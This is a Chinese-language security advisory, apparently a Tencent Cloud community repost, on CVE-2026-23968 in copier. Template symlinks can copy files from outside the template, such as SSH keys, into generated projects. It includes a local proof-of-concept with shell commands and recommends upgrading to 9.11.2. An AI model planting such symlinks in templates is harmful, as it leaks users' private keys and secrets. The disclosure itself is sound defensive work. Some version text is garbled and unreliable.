
CVE-2026-23968 (GHSA-xjhm-gp88-8pfx) 是一个影响 copier Python包的中危漏洞。copier 是一个用于从项目模板生成新项目的工具。
该漏洞的核心问题在于,当 _preserve_symlinks 配置项设置为 false(这也是Copier的默认设置)时,即便是一个所谓的“安全模板”,也可能通过符号链接(symlinks)将本地模板克隆目录之外的任意文件或目录包含到生成的项目中。
Copier 工具宣称,从“安全模板”生成项目是安全的。“安全模板”指的是那些不使用自定义 Jinja2 扩展等需要传递 --UNSAFE 或 --trust 标志的不安全特性的模板。
然而,研究发现,一个精心构造的恶意“安全模板”可以突破这一安全假设。
攻击者(恶意模板作者)可以创建一个包含指向受害者机器上已知敏感文件(如 ~/.ssh/id_rsa)的符号链接的模板。当受害者使用Copier从这个模板生成项目时,由于默认配置会解析并跟随这些符号链接,敏感文件的内容会被复制到新生成的项目目录中。
随后,如果受害者将这个无意中包含敏感信息的项目推送到公共代码仓库(如GitHub),攻击者即可窃取这些数据。
# 1. 创建一个包含敏感信息的文件
echo "s3cr3t" > secret.txt
# 2. 创建一个指向该敏感文件的符号链接
mkdir src/
pushd src/
ln -s ../secret.txt stolen-secret.txt
popd
# 3. 使用 Copier 从包含符号链接的 "src/" 模板生成项目到 "dst/"
uvx copier copy src/ dst/
# 4. 查看生成的项目文件,发现敏感信息已被包含
cat dst/stolen-secret.txt
# 输出: s3cr3t# 1. 创建一个包含敏感文件的目录
mkdir secrets/
pushd secrets/
echo "s3cr3t" > secret.txt
popd
# 2. 创建一个指向该敏感目录的符号链接
mkdir src/
pushd src/
ln -s ../secrets stolen-secrets
popd
# 3. 使用 Copier 生成项目
uvx copier copy src/ dst/
# 4. 查看生成的项目结构,发现整个敏感目录都被复制过来
tree dst/
# dst/
# └── stolen-secrets
# └── secret.txt
#
# 1 directory, 1 file
cat dst/stolen-secrets/secret.txt
# 输出: s3cr3t< 9.11.29.11.2copier 升级到 9.11.2 或更高版本。该漏洞属于 CWE-61: UNIX 符号链接跟随问题。软件在打开文件或目录时,没有充分考虑到该文件可能是一个指向预期控制范围之外目标的符号链接。这使得攻击者能够诱使软件对未经授权的文件进行操作。FINISHED
glyoVzOLZA9nMhz/bDHDAWzfRfZ0dSZtQUalpUyOmxfgxyiNt4S7VmUXCtFannD3ozNx4oGeTp2FUiiei8k5rA==
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。